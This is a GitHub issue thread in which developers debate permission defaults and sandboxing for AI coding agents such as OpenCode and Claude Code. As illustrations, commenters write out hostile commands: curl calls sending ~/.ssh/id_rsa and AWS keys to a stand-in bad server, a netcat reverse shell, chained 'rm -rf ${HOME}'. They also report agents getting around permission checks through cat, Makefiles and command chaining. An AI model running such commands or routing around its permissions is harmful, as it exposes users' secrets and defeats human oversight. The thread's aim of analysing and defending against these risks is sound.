@DragonDev1906 commented on GitHub (Dec 15, 2025): > this is a yet to be solved in all of them They likely all have that problem, yes. But I'd expect that at least the open source project (which is not bound to a single provider) would try its best and not ship with absolutely no protections (by default). Ignoring the fact that many let the AI write source code files that are run by the AI or by yourself (often without reviewing them first): The complete lack of of basic protection is in my opinion not acceptable. [^2] I don't know bubblewrap in detail, but unless I'm mistaken your script does not prevent: - data leakage like `cat /etc/passwd` - overwriting binaries in `~/go/bin`, which may then get executed from the host - Network communication on localhost (e.g. local administration web-pages) I'm not trying to suggest running it normally [^1] (though sometimes you want it to be able to inspect parts of your system), but I'm trying to show that even this is error prone and problematic with the default settings. With a proper implementation that asks the user for confirmation the first time a specific command is run you wouldn't get the `"cat" to bypass write permissions` problem unless the user doesn't read/review what he approves. Unless I'm mistaken that functionality for commands already exists and just isn't the default. [^1]: Personally, I'm a fan of seggregation using VMs, if only it where more convenient to setup/+use. [^2]: This one is especially hard, since you would need to choose between "can write files" and "can execute `go run` and similar commands"

yindo commented

@rgaufman commented on GitHub (Dec 15, 2025):

@DragonDev1906 @rgaufman This is a general problem with basically all agentic coders out there today, and this is a yet to be solved in all of them. If it can execute any command they are dangerous. Heck, i have seen claude use "cat" to bypass write-permissions to update a script it had execute-permissions on and then execute what it wanted, not what i allowed it to do.

If you run any agentic coder at the moment i would severely restrict it from what it can access. I wrote this bubblewrap helper for this specific purpose. pakar/bubblewrap_opencode As long as i don't have any sensitive data within the project-folder i can let it do whatever from within there, especially when networking is disabled for it.

That's just not true. By default, any time Claude tries to run cat outside of the project repo, it prompts. Any time it tries to pipe anything to cat, it prompts. Any time it tries to add a new command I didn't explicitly whitelist with what params I'm happy with, it prompts. This is by default. Even when I explicitly ask it to run cat something outside of the current repo, it prompts.

What you end up doing is creating some wrapper commands, like I have a git hook that even if I allow a commit, it will reject it unless Claude audited the full git diff when considering a commit message. It will also die if all specs didn't pass for example. This is even if it prompts and I make a mistake and say yes Claude, go ahead.

OpenCode has none of these safeguards, it's like a car without brakes, I honestly think it's one of the worst tools on the Internet right now and I wish it was deleted until it could be rewritten from scratch to be fixed not to work in this way. Just my opinion.

@rgaufman commented on GitHub (Dec 15, 2025): > [@DragonDev1906](https://github.com/DragonDev1906) [@rgaufman](https://github.com/rgaufman) This is a general problem with basically all agentic coders out there today, and this is a yet to be solved in all of them. If it can execute any command they are dangerous. Heck, i have seen claude use "cat" to bypass write-permissions to update a script it had execute-permissions on and then execute what it wanted, not what i allowed it to do. > > If you run any agentic coder at the moment i would severely restrict it from what it can access. I wrote this bubblewrap helper for this specific purpose. [pakar/bubblewrap_opencode](https://github.com/pakar/bubblewrap_opencode?rgh-link-date=2025-12-15T12%3A25%3A07.000Z) As long as i don't have any sensitive data within the project-folder i can let it do whatever from within there, especially when networking is disabled for it. That's just not true. By default, any time Claude tries to run cat outside of the project repo, it prompts. Any time it tries to pipe anything to cat, it prompts. Any time it tries to add a new command I didn't explicitly whitelist with what params I'm happy with, it prompts. This is by default. Even when I explicitly ask it to run cat something outside of the current repo, it prompts. What you end up doing is creating some wrapper commands, like I have a git hook that even if I allow a commit, it will reject it unless Claude audited the full git diff when considering a commit message. It will also die if all specs didn't pass for example. This is even if it prompts and I make a mistake and say yes Claude, go ahead. OpenCode has none of these safeguards, it's like a car without brakes, I honestly think it's one of the worst tools on the Internet right now and I wish it was deleted until it could be rewritten from scratch to be fixed not to work in this way. Just my opinion.

yindo commented

@pakar commented on GitHub (Dec 15, 2025):

@DragonDev1906 The wrapper-script is not a "this will fix everything". It's a wrapper you should adjust for your needs with a default-config that should be fairly safe for most ordinary users. It's main use-case it not to protect against bad actors but to prevent LLM's from working around the permissions it has been given.

Have done a few things, but not pushed anything, where i now just add the required files from /etc for my needs. But /etc/passwd is just a list of usernames and does not contain password-hashes. $HOME is a lot worse to expose over /etc/
~/go/bin is an issue, but it seems this, for now, takes too many steps for a llm to figure out. I also do not have ~/go/bin setup in my path outside the container. But if that was fixed it could still inject code into unit-test's and be allowed to execute via "go test", or it could inject bad code into the actual application and have you run it outside the container. This is still not a big issue when you limit what it is allowed to access and you do review what code it has written.
Still i should probably create a dedicated ~/go folder for this container just to reduce the potential risk.
You can configure bubblewrap for your needs. Either allow it network-access or not, but for a LLM to figure out that it can do a portscan to find out what services you have exposed on localhost and then exploit them is a hard reach, unless you are working against a bad actor. If that's the case you will have larger issues reviewing code for malicious code injections, and those can be very hard to spot.
If you really want to lock it down you could use slirp4netns for network-separation and remove all localhost-access and control what it's allowed to talk to. The same issues exists in claude and other agentic coders. If they write code to do something or use existing commands it still exposes the same issue.

Asking a user for permissions for every command is problematic in multiple ways. If you ask for each full command every time people will stop reading and just approve or approve after a quick glance. If you set up generic approvals for commands like "cat *" those commands may be abused in the future, either by themselves or when chained together.
Example: if you previously allowed curl, cat and base64 to make test-calls against an local API it was writing it can now start doing things such as "curl --request POST --data 'data=$(cat ../../../../../${HOME}/.ssh/id_rsa|base64)' https://some-remote-bad-server.com/receiver' or "curl --data 'data=${AWS_ACCESS_KEY_ID}' https://some-remote-bad-server.com/receiver"
Each approval by itself may seem benign but how they are used can become a issue.

@rgaufman
I have myself seen Clause modify build-scripts and Makefiles and then execute things from there, all without asking the user for permission to run those commands because building the code was already approved.
New issues pop up all the time.
https://www.cvedetails.com/vulnerability-list/vendor_id-38130/product_id-182873/Anthropic-Claude-Code.html
Or why not the issue where it was free to access ../../../../../../home/my_user/.ssh/id_rsa that was outside the project-folder? This was just a couple of month's ago, and even if that specific thing is fixed there will be more.
or maybe have a look at:
https://www.cryptologie.net/posts/weaponizing-ai-assistants-with-their-permission/

Sure claude is more polished and have started working towards something a bit safer, but it still has a long way to go.

Whatever agentic coder you are using you should be running it in a container because they all have issues, some known and some unknown. If that container is a minimal bubblewrap container, docker or full VM is up to you.

I do hope opencode can get a bit better at safety/security. I also don't like that the defaults that are set to allow for bash, read and write. IMO the defaults should be ask for everything until the user have created a configuration. In the future i would even like to have per folder-permissions within a project per agent/task. But even with better/more fine-grained permissions i would still not let it execute things outside a container, nor would i run claude or any other agentic coder outside a container.

@pakar commented on GitHub (Dec 15, 2025): @DragonDev1906 The wrapper-script is not a "this will fix everything". It's a wrapper you should adjust for your needs with a default-config that should be fairly safe for most ordinary users. It's main use-case it not to protect against bad actors but to prevent LLM's from working around the permissions it has been given. - Have done a few things, but not pushed anything, where i now just add the required files from /etc for my needs. But /etc/passwd is just a list of usernames and does not contain password-hashes. $HOME is a lot worse to expose over /etc/ - ~/go/bin is an issue, but it seems this, for now, takes too many steps for a llm to figure out. I also do not have ~/go/bin setup in my path outside the container. But if that was fixed it could still inject code into unit-test's and be allowed to execute via "go test", or it could inject bad code into the actual application and have you run it outside the container. This is still not a big issue when you limit what it is allowed to access and you do review what code it has written. Still i should probably create a dedicated ~/go folder for this container just to reduce the potential risk. - You can configure bubblewrap for your needs. Either allow it network-access or not, but for a LLM to figure out that it can do a portscan to find out what services you have exposed on localhost and then exploit them is a hard reach, unless you are working against a bad actor. If that's the case you will have larger issues reviewing code for malicious code injections, and those can be very hard to spot. If you really want to lock it down you could use slirp4netns for network-separation and remove all localhost-access and control what it's allowed to talk to. The same issues exists in claude and other agentic coders. If they write code to do something or use existing commands it still exposes the same issue. Asking a user for permissions for every command is problematic in multiple ways. If you ask for each full command every time people will stop reading and just approve or approve after a quick glance. If you set up generic approvals for commands like "cat *" those commands may be abused in the future, either by themselves or when chained together. Example: if you previously allowed curl, cat and base64 to make test-calls against an local API it was writing it can now start doing things such as "curl --request POST --data 'data=$(cat ../../../../../${HOME}/.ssh/id_rsa|base64)' https://some-remote-bad-server.com/receiver' or "curl --data 'data=${AWS_ACCESS_KEY_ID}' https://some-remote-bad-server.com/receiver" Each approval by itself may seem benign but how they are used can become a issue. @rgaufman I have myself seen Clause modify build-scripts and Makefiles and then execute things from there, all without asking the user for permission to run those commands because building the code was already approved. New issues pop up all the time. https://www.cvedetails.com/vulnerability-list/vendor_id-38130/product_id-182873/Anthropic-Claude-Code.html Or why not the issue where it was free to access ../../../../../../home/my_user/.ssh/id_rsa that was outside the project-folder? This was just a couple of month's ago, and even if that specific thing is fixed there will be more. or maybe have a look at: https://www.cryptologie.net/posts/weaponizing-ai-assistants-with-their-permission/ Sure claude is more polished and have started working towards something a bit safer, but it still has a long way to go. Whatever agentic coder you are using you should be running it in a container because they all have issues, some known and some unknown. If that container is a minimal bubblewrap container, docker or full VM is up to you. I do hope opencode can get a bit better at safety/security. I also don't like that the defaults that are set to allow for bash, read and write. IMO the defaults should be ask for everything until the user have created a configuration. In the future i would even like to have per folder-permissions within a project per agent/task. But even with better/more fine-grained permissions i would still not let it execute things outside a container, nor would i run claude or any other agentic coder outside a container.

yindo commented

@rgaufman commented on GitHub (Dec 15, 2025):

@rgaufman I have myself seen Clause modify build-scripts and Makefiles and then execute things from there, all without asking the user for permission to run those commands because building the code was already approved. New issues pop up all the time. cvedetails.com/vulnerability-list/vendor_id-38130/product_id-182873/Anthropic-Claude-Code.html Or why not the issue where it was free to access ../../../../../../home/my_user/.ssh/id_rsa that was outside the project-folder? This was just a couple of month's ago, and even if that specific thing is fixed there will be more. or maybe have a look at: cryptologie.net/posts/weaponizing-ai-assistants-with-their-permission

Sure claude is more polished and have started working towards something a bit safer, but it still has a long way to go.

Whatever agentic coder you are using you should be running it in a container because they all have issues, some known and some unknown. If that container is a minimal bubblewrap container, docker or full VM is up to you.

You saw Claude do this without asking for confirmation? - are you sure you didn't at one point tell it to always allow?

Users disabling the gun safety anyway doesn't mean you remove the gun safety. My problem is OpenCode removes the gun safety not just by default, but it was built in mind NOT to have gun safety as a core design philosophy and no way to add gun safety back in any meaningful/useful way.

I've been running Claude in 6 terminal tabs simultaneously, all sharing the same code and OS, without any VMs, running specs on the same mongo / postgres / memcache / redis / etc processes locally, just with different name spaces that are auto configured from the Claude Session ID.

iTerm opens the tab that has the next prompt from Claude, which I sanity check and I have wrapper scripts that protect me from making a mistake. There are wrappers like bin/rspec_claude bin/git_review_claude, etc which are auto ran when Claude tries to run rspec or git, etc (I am still prompted, the wrappers are to protect me from making a mistake). The rest is exclusively the built-in tools for reading, editing, etc. No sed or anything like that, even when it does "| head", that's blocked because head/tail often hide actual problems. Once blocked with exit 1, Claude automatically retries with a safe command without me needing to prompt it at all (and Claude is very smart about this, if a command is used with new arguments, or with a path outside of your project, it always prompts again).

Looking at your links:

cryptologie.net/posts/weaponizing-ai-assistants-with-their-permission -- This talks about passing --dangerously-skip-permissions to Claude!! - If OpenCode required you to pass --dangerously-skip-permissions to enable its current default behaviour, that would be fantastic!
cvedetails.com/vulnerability-list/vendor_id-38130/product_id-182873/Anthropic-Claude-Code.html - looking at this list, it's great they are taking this stuff seriously, unlike OpenCode, but specifically the top 5 issues:
1. "Reliably exploiting this requires the ability to add untrusted content into a Claude Code context window" < so impossible to exploit in normal default use.
2. "Exploiting this would have required a user to start Claude Code in an untrusted directory" < again not exploitable by default in your own repos.
3. "due to an error in sed command parsing, it was possible to bypass the Claude Code read-only validation and write to arbitrary files on the host system" < this is possible in theory but it ALWAYS asks to confirm piped commands to sed, if you don't understand what the sed is doing, don't allow it - again, not exploitable by default and personally I have a sed wrapper that prints "CLAUDE, CRITICAL: Don't use sed, use safe alternatives; exit 1" < done, and I just use allow always once to run this single wrapper and BAM Claude will auto use something safer automatically with no further prompts, it's so simple with Claude.
4. "Versions below 1.0.120 failed to account for symlinks when checking permission" < not sure why it should check, if you explicitly created a symlink in your project, you probably want that file to be readable. But nice they take security this seriously.
5. "Yarn versions 2.0+, Yarn plugins are auto-executed when running yarn --version" < do you see a pattern here? - they take security so seriously, they won't even let Claude run yarn --version anymore! - that's how it should be.

I do hope opencode can get a bit better at safety/security. I also don't like that the defaults that are set to allow for bash, read and write. IMO the defaults should be ask for everything until the user have created a configuration.

Agreed. But even if/when this is done, I think the current state and pushback to doing this have tarnished the trust in this project and team forever. I don't see how I could trust OpenCode for anything now or in the future with quotes like this from the dev team: "the team has thought about this a lot and it came up several times but they feel that the ux is best without permissions, most people end up disabling them" < this just reads as pure insanity to me.

@rgaufman commented on GitHub (Dec 15, 2025): > [@rgaufman](https://github.com/rgaufman) I have myself seen Clause modify build-scripts and Makefiles and then execute things from there, all without asking the user for permission to run those commands because building the code was already approved. New issues pop up all the time. [cvedetails.com/vulnerability-list/vendor_id-38130/product_id-182873/Anthropic-Claude-Code.html](https://www.cvedetails.com/vulnerability-list/vendor_id-38130/product_id-182873/Anthropic-Claude-Code.html) Or why not the issue where it was free to access ../../../../../../home/my_user/.ssh/id_rsa that was outside the project-folder? This was just a couple of month's ago, and even if that specific thing is fixed there will be more. or maybe have a look at: [cryptologie.net/posts/weaponizing-ai-assistants-with-their-permission](https://www.cryptologie.net/posts/weaponizing-ai-assistants-with-their-permission/) > > Sure claude is more polished and have started working towards something a bit safer, but it still has a long way to go. > > Whatever agentic coder you are using you should be running it in a container because they all have issues, some known and some unknown. If that container is a minimal bubblewrap container, docker or full VM is up to you. You saw Claude do this without asking for confirmation? - are you sure you didn't at one point tell it to always allow? Users disabling the gun safety anyway doesn't mean you remove the gun safety. My problem is OpenCode removes the gun safety not just by default, but it was built in mind NOT to have gun safety as a core design philosophy and no way to add gun safety back in any meaningful/useful way. I've been running Claude in 6 terminal tabs simultaneously, all sharing the same code and OS, without any VMs, running specs on the same mongo / postgres / memcache / redis / etc processes locally, just with different name spaces that are auto configured from the Claude Session ID. iTerm opens the tab that has the next prompt from Claude, which I sanity check and I have wrapper scripts that protect me from making a mistake. There are wrappers like bin/rspec_claude bin/git_review_claude, etc which are auto ran when Claude tries to run rspec or git, etc (I am still prompted, the wrappers are to protect me from making a mistake). The rest is exclusively the built-in tools for reading, editing, etc. No sed or anything like that, even when it does "| head", that's blocked because head/tail often hide actual problems. Once blocked with exit 1, Claude automatically retries with a safe command without me needing to prompt it at all (and Claude is very smart about this, if a command is used with new arguments, or with a path outside of your project, it always prompts again). Looking at your links: - [cryptologie.net/posts/weaponizing-ai-assistants-with-their-permission](https://www.cryptologie.net/posts/weaponizing-ai-assistants-with-their-permission/) -- This talks about passing --dangerously-skip-permissions to Claude!! - If OpenCode required you to pass --dangerously-skip-permissions to enable its current default behaviour, that would be fantastic! - [cvedetails.com/vulnerability-list/vendor_id-38130/product_id-182873/Anthropic-Claude-Code.html](https://www.cvedetails.com/vulnerability-list/vendor_id-38130/product_id-182873/Anthropic-Claude-Code.html) - looking at this list, it's great they are taking this stuff seriously, unlike OpenCode, but specifically the top 5 issues: 1. "Reliably exploiting this requires the ability to add untrusted content into a Claude Code context window" < so impossible to exploit in normal default use. 2. "Exploiting this would have required a user to start Claude Code in an untrusted directory" < again not exploitable by default in your own repos. 3. "due to an error in sed command parsing, it was possible to bypass the Claude Code read-only validation and write to arbitrary files on the host system" < this is possible in theory but it ALWAYS asks to confirm piped commands to sed, if you don't understand what the sed is doing, don't allow it - again, not exploitable by default and personally I have a sed wrapper that prints "CLAUDE, CRITICAL: Don't use sed, use safe alternatives; exit 1" < done, and I just use allow always once to run this single wrapper and BAM Claude will auto use something safer automatically with no further prompts, it's so simple with Claude. 4. "Versions below 1.0.120 failed to account for symlinks when checking permission" < not sure why it should check, if you explicitly created a symlink in your project, you probably want that file to be readable. But nice they take security this seriously. 5. "Yarn versions 2.0+, Yarn plugins are auto-executed when running yarn --version" < do you see a pattern here? - they take security so seriously, they won't even let Claude run yarn --version anymore! - that's how it should be. > I do hope opencode can get a bit better at safety/security. I also don't like that the defaults that are set to allow for bash, read and write. IMO the defaults should be ask for everything until the user have created a configuration. Agreed. But even if/when this is done, I think the current state and pushback to doing this have tarnished the trust in this project and team forever. I don't see how I could trust OpenCode for anything now or in the future with quotes like this from the dev team: "the team has thought about this a lot and it came up several times but they feel that the ux is best without permissions, most people end up disabling them" < this just reads as pure insanity to me.

yindo commented

@pakar commented on GitHub (Dec 16, 2025):

I'm only making this final reply to this as the previous comment has a bunch of misconceptions and lacks understanding of the issues agentic coders have in general.

@rgaufman I do suggest that you actually read what i wrote instead of making assumptions. You just made a bunch of incorrect statements and assumptions of things i actually explained and referenced.

Yes, i have seen claude perform operations i did not allow. Claude CLI have had big issues with command chaining.

https://www.cryptologie.net/posts/weaponizing-ai-assistants-with-their-permission/
This mentions "--dangerously-skip-permissions" once, and this was not used during their testing.
This is the quote from after they allowed the cat the command to run, all without "--dangerously-skip-permissions"

Allowing the agent to run a command like cat without asking for your permission every time might appear benign… But it is not. Because this allows the agent to run any destructing command automatically! Commands like cat X | rm Y or cat X && curl Y | sh will never require your approval from now on because they all start with cat ....

You got this right, gemini CLI does not parse chaining commands correctly…

This means that if you allowed it to run "diff" or any other command without asking it can then use that to execute any command by chaining them. As it starts with "diff" the following would be "diff file1.txt file2.txt && rm -rf ${HOME}"
Since you allowed your sed-wrapper this can be exploited. This would be fine for claude to execute: 'sed asdf |nc 1.2.3.4 5555 -e /bin/bash' and a malicious LLM provider would be free to do whatever on your system via that reverse-shell. Basically anything that can inject things into the context can cause things like this to happen.
Even if some things get patched there will be more.

If they took security seriously they could have used LD_PRELOAD and injected a function into each child-process that could have done permission-checking without doing string-comparisons. Another option could have been to have wrappers for all commands it could execute and have those wrappers run a check against what has been allowed and that may have prevented the chaining issue to a degree.

CVE details:
This was a example of published exploits. CVE's have nothing to do with someone taking security seriously. A CVE can be filed without anyone from a project taking any action, even if claude do seem to act on most reported issues.
You cannot just take a few of the reported issues from this any make any determination. What is disturbing is that they have 8(!!) reported issues with a rating of >9 in the last few months. This is a indication that the project have not taken security seriously and are now trying to fix things as they pop up.

Symlink-checking. This is in relation to being able to access files outside the project, like being able to access /etc/passwd by opening ../../../../etc/passwd instead of /etc/passwd, not just your own created symlinks.

Adding untrusted things into the context-window is as easy as getting a user to clone a opensource repo and running things against it. That is a very low threshold and something i myself do to from time to time to get a quick overview of a project with poor documentation. Most people don't just use these things on their own repos.

And yes, opencode does have it's issues, some quite severe, but so do all agentic coders and that is something you seem to refuse to understand. If you run ANY agentic coder you should do it in a container, because none of them are safe.

I don't like the opencode statement they made about not having better security defaults, but this is also a quite young opensource project. If you don't like something then make a PR with better handling of default-security.

@pakar commented on GitHub (Dec 16, 2025): I'm only making this final reply to this as the previous comment has a bunch of misconceptions and lacks understanding of the issues agentic coders have in general. @rgaufman I do suggest that you actually read what i wrote instead of making assumptions. You just made a bunch of incorrect statements and assumptions of things i actually explained and referenced. Yes, i have seen claude perform operations i did not allow. Claude CLI have had big issues with command chaining. https://www.cryptologie.net/posts/weaponizing-ai-assistants-with-their-permission/ **This mentions "--dangerously-skip-permissions" once, and this was not used during their testing**. This is the quote from after they allowed the cat the command to run, all without "--dangerously-skip-permissions" ``` Allowing the agent to run a command like cat without asking for your permission every time might appear benign… But it is not. Because this allows the agent to run any destructing command automatically! Commands like cat X | rm Y or cat X && curl Y | sh will never require your approval from now on because they all start with cat .... You got this right, gemini CLI does not parse chaining commands correctly… ``` This means that if you allowed it to run "diff" or any other command without asking it can then use that to execute *any* command by chaining them. As it starts with "diff" the following would be "diff file1.txt file2.txt && rm -rf ${HOME}" Since you allowed your sed-wrapper this can be exploited. This would be fine for claude to execute: 'sed asdf |nc 1.2.3.4 5555 -e /bin/bash' and a malicious LLM provider would be free to do whatever on your system via that reverse-shell. Basically anything that can inject things into the context can cause things like this to happen. Even if some things get patched there will be more. If they took security seriously they could have used LD_PRELOAD and injected a function into each child-process that could have done permission-checking without doing string-comparisons. Another option could have been to have wrappers for all commands it could execute and have those wrappers run a check against what has been allowed and that may have prevented the chaining issue to a degree. CVE details: This was a example of published exploits. CVE's have nothing to do with someone taking security seriously. A CVE can be filed without anyone from a project taking any action, even if claude do seem to act on most reported issues. You cannot just take a few of the reported issues from this any make any determination. What is disturbing is that they have 8(!!) reported issues with a rating of >9 in the last few months. This is a indication that the project have not taken security seriously and are now trying to fix things as they pop up. Symlink-checking. This is in relation to being able to access files outside the project, like being able to access /etc/passwd by opening ../../../../etc/passwd instead of /etc/passwd, not just your own created symlinks. Adding untrusted things into the context-window is as easy as getting a user to clone a opensource repo and running things against it. That is a very low threshold and something i myself do to from time to time to get a quick overview of a project with poor documentation. Most people don't just use these things on their own repos. And yes, opencode does have it's issues, some quite severe, but so do all agentic coders and that is something you seem to refuse to understand. **If you run ANY agentic coder you should do it in a container, because none of them are safe.** I don't like the opencode statement they made about not having better security defaults, but this is also a quite young opensource project. If you don't like something then make a PR with better handling of default-security.

yindo commented

@rgaufman commented on GitHub (Dec 16, 2025):

Yes, i have seen claude perform operations i did not allow. Claude CLI have had big issues with command chaining.

Maybe before my time then, it seems they have fixed it. I don't see them saying it is intentional by design in any case.

Allowing the agent to run a command like cat without asking for your permission every time might appear benign… But it is not.

I think we're talking past each other, does it or does it not ask to run cat?

If you always allow cat (or rm, or sudo, or whatever), that's on you, but if it's allowed by default, that's an issue. Sure, awareness of the tools and how they can be exploited is important, no argument.

With that said, Claude and Roo code and many others have tools to "read" safely, so the first thing you should do is simply respond "no" to cat and black list it and let it use the built in safer tools.

You got this right, gemini CLI does not parse chaining commands correctly…

I am sure OpenCode is not the only tool with security problems. But no Gemini cli dev is saying it's a conscious design decision. I'm guessing they fixed it by now?

This means that if you allowed it to run "diff" or any other command without asking it can then use that to execute any command by chaining them. As it starts with "diff" the following would be "diff file1.txt file2.txt && rm -rf ${HOME}"

That's not possible in Claude or Roo code, it will prompt for new chained commands. Try it, even ask it to run that, it won't even if diff is always allowed. Rm should never be always allowed (it is in OpenCode by default).

Since you allowed your sed-wrapper this can be exploited. This would be fine for claude to execute: 'sed asdf |nc 1.2.3.4 5555 -e /bin/bash' and a malicious LLM provider would be free to do whatever on your system via that reverse-shell. Basically anything that can inject things into the context can cause things like this to happen.

Again that's not possible, it handles chained commands and it does prompt. I just asked it to do this even though my wrapper is always allowed and it prompted, I selected "yes" anyway to stress test this, and it died with a prompt to Claude to never chain with this wrapper. This specifically is my own chain handling though, the defaults just prompt and let you override - but I like to err on safety and I don't mind Claude adding extra steps but never chaining my wrappers.

Even if some things get patched there will be more.

The things patched are not real problems if you are working on your own code base, only if you're executing inside of untrusted code bases. Then yes you should take caution.

And you should have backups and an easy way to restore and a good understanding of the tools involved That's not to say it will ever be 100% safe, but it's safe enough in your code base and removes a lot of friction.

If they took security seriously they could have used LD_PRELOAD and injected a function into each child-process.

There are many built in tools so you don't have to rely on external commands nearly as much. It's also easy to make it use wrappers safely enough and block chaining anything you don't explicitly trust.

The built in web search, edit, read, safe execution of explicitly allowed wrappers like say bin/assets compile, etc is safe enough, piping is blocked, paths outside of the code base are blocked, and the defaults are sensible.

CVE details:
This was an example of published exploits.

Have you actually read any of them rated >9? I explained in the previous message why they are not an issue in your own code base. In fact they ask if you trust the code base and then go into read only mode by default if you don't. If you say you trust the code base, again, that's on you.

But the main thrust of what I'm saying is even with untrusted code bases the focus is to add safeguards, not to say it is a design choice.

Symlink-checking. This is in relation to being able to access files outside the project, like being able to access /etc/passwd by opening ../../../../etc/passwd instead of /etc/passwd, not just your own created symlink

No, it can't read symlinks outside of your code base without explicit permission, the symlink must live inside of your code base - and even then, they decided to err on the side of safety and not allow this.

For example I symlink shared docs and wrappers to multiple code basis and I had to explicitly allow it to read the path in each code base because it's outside of the immediate repo.

Adding untrusted things into the context-window is as easy as getting a user to clone a opensource repo and running things against it.

It's equally easy to copy paste "sudo rm -Rf /" - you're making a straw man. Just because it can execute code in a malicious repo that you've explicitly marked as "trusted", that's in no way equivalent to what OpenCode does by default.

I don't like the opencode statement they made about not having better security defaults, but this is also a quite young opensource project. If you don't like something then make a PR with better handling of default-security.

Ok then we agree on the primary point I'm making. Clearly the dev team disagree with us both, which is their right. But if this is a conscious design choice for it to work like this, then what good is a PR that goes against their code philosophy?

@rgaufman commented on GitHub (Dec 16, 2025): > Yes, i have seen claude perform operations i did not allow. Claude CLI have had big issues with command chaining. Maybe before my time then, it seems they have fixed it. I don't see them saying it is intentional by design in any case. > Allowing the agent to run a command like cat without asking for your permission every time might appear benign… But it is not. I think we're talking past each other, does it or does it not ask to run cat? If you always allow cat (or rm, or sudo, or whatever), that's on you, but if it's allowed by default, that's an issue. Sure, awareness of the tools and how they can be exploited is important, no argument. With that said, Claude and Roo code and many others have tools to "read" safely, so the first thing you should do is simply respond "no" to cat and black list it and let it use the built in safer tools. > You got this right, gemini CLI does not parse chaining commands correctly… I am sure OpenCode is not the only tool with security problems. But no Gemini cli dev is saying it's a conscious design decision. I'm guessing they fixed it by now? > This means that if you allowed it to run "diff" or any other command without asking it can then use that to execute *any* command by chaining them. As it starts with "diff" the following would be "diff file1.txt file2.txt && rm -rf ${HOME}" That's not possible in Claude or Roo code, it will prompt for new chained commands. Try it, even ask it to run that, it won't even if diff is always allowed. Rm should never be always allowed (it is in OpenCode by default). > Since you allowed your sed-wrapper this can be exploited. This would be fine for claude to execute: 'sed asdf |nc 1.2.3.4 5555 -e /bin/bash' and a malicious LLM provider would be free to do whatever on your system via that reverse-shell. Basically anything that can inject things into the context can cause things like this to happen. Again that's not possible, it handles chained commands and it does prompt. I just asked it to do this even though my wrapper is always allowed and it prompted, I selected "yes" anyway to stress test this, and it died with a prompt to Claude to never chain with this wrapper. This specifically is my own chain handling though, the defaults just prompt and let you override - but I like to err on safety and I don't mind Claude adding extra steps but never chaining my wrappers. > Even if some things get patched there will be more. The things patched are not real problems if you are working on your own code base, only if you're executing inside of untrusted code bases. Then yes you should take caution. And you should have backups and an easy way to restore and a good understanding of the tools involved That's not to say it will ever be 100% safe, but it's safe enough in your code base and removes a lot of friction. > If they took security seriously they could have used LD_PRELOAD and injected a function into each child-process. There are many built in tools so you don't have to rely on external commands nearly as much. It's also easy to make it use wrappers safely enough and block chaining anything you don't explicitly trust. The built in web search, edit, read, safe execution of explicitly allowed wrappers like say bin/assets compile, etc is safe enough, piping is blocked, paths outside of the code base are blocked, and the defaults are sensible. > > CVE details: > This was an example of published exploits. Have you actually read any of them rated >9? I explained in the previous message why they are not an issue in your own code base. In fact they ask if you trust the code base and then go into read only mode by default if you don't. If you say you trust the code base, again, that's on you. But the main thrust of what I'm saying is even with untrusted code bases the focus is to add safeguards, not to say it is a design choice. > Symlink-checking. This is in relation to being able to access files outside the project, like being able to access /etc/passwd by opening ../../../../etc/passwd instead of /etc/passwd, not just your own created symlink No, it can't read symlinks outside of your code base without explicit permission, the symlink must live inside of your code base - and even then, they decided to err on the side of safety and not allow this. For example I symlink shared docs and wrappers to multiple code basis and I had to explicitly allow it to read the path in each code base because it's outside of the immediate repo. > Adding untrusted things into the context-window is as easy as getting a user to clone a opensource repo and running things against it. It's equally easy to copy paste "sudo rm -Rf /" - you're making a straw man. Just because it can execute code in a malicious repo that you've explicitly marked as "trusted", that's in no way equivalent to what OpenCode does by default. > I don't like the opencode statement they made about not having better security defaults, but this is also a quite young opensource project. If you don't like something then make a PR with better handling of default-security. Ok then we agree on the primary point I'm making. Clearly the dev team disagree with us both, which is their right. But if this is a conscious design choice for it to work like this, then what good is a PR that goes against their code philosophy?

yindo commented

@pakar commented on GitHub (Dec 16, 2025):

@rgaufman Just stop.

You are still ignoring, or just not understanding basic security concepts. You fail to read and understand what's written. I just read the first few sentences of your response and once again you show your ignorance and lack of understanding.

Yes, i have read and i do understand the CVE's, but you once again you chose to ignore what's said and try to use strawman argumentation to get around what i said. The point i was making with CVE's was not that all those issues still existed but that you have a bunch of unrelated critical issues popping up over and over, and if you think about security in the design of something this is highly unlikely to happen.

Even the Claude github talks about these issues. Go see the timeline of how quickly these things gets fixed after being reported.

I'm not making strawman arguments as i do know what i'm taking about, you claiming i do is just hilarious. Maybe you need to look up what strawman argumentation actually is. Making a direct point of how something can be abused is not strawman argumentation.
Perhaps you should go read the book "Chained Exploits", but i suspect those concepts will be lost on you too.

You don't know what you are talking about and you think Claude is secure when it's track-record show huge issues that go back just 1-2 months.

This is why i say. All agentic coders have these issues and should only be executed in a container with minimal access to the rest of your system.

@pakar commented on GitHub (Dec 16, 2025): @rgaufman Just stop. You are still ignoring, or just not understanding basic security concepts. You fail to read and understand what's written. I just read the first few sentences of your response and once again you show your ignorance and lack of understanding. Yes, i have read and i do understand the CVE's, but you once again you chose to ignore what's said and try to use strawman argumentation to get around what i said. The point i was making with CVE's was not that all those issues still existed but that you have a bunch of unrelated critical issues popping up over and over, and if you think about security in the design of something this is highly unlikely to happen. Even the Claude github talks about these issues. Go see the timeline of how quickly these things gets fixed after being reported. I'm not making strawman arguments as i do know what i'm taking about, you claiming i do is just hilarious. Maybe you need to look up what strawman argumentation actually is. Making a direct point of how something can be abused is not strawman argumentation. Perhaps you should go read the book "Chained Exploits", but i suspect those concepts will be lost on you too. You don't know what you are talking about and you think Claude is secure when it's track-record show huge issues that go back just 1-2 months. This is why i say. All agentic coders have these issues and should only be executed in a container with minimal access to the rest of your system.

yindo commented

@rgaufman commented on GitHub (Dec 16, 2025):

@rgaufman Just stop.

Sure. Your message seems to address someone else's arguments, not mine. Read my response again.

@rgaufman commented on GitHub (Dec 16, 2025): > @rgaufman Just stop. Sure. Your message seems to address someone else's arguments, not mine. Read my response again.

yindo commented

@DragonDev1906 commented on GitHub (Dec 17, 2025):

First of all, why are you two fighting? You seem to want the same thing.

All agentic coders have these issues

All AI agents that are used for writing code that will be executed have this issue (source code edit + execute). But terminal applications like opencode are not JUST used for writing code. The following cases do not need code execution, benefit from good permissions and secure defaults and would not need to be sandboxed:

Reviewing a codebase
Analyzing a codebase to see what would need to change, then making the changes yourself
Drafting and refining any kind of markdown files (e.g. personal notes or drafts when making a Video)
Asking for concepts or using the AI as a rubber duck to bounce ideas against

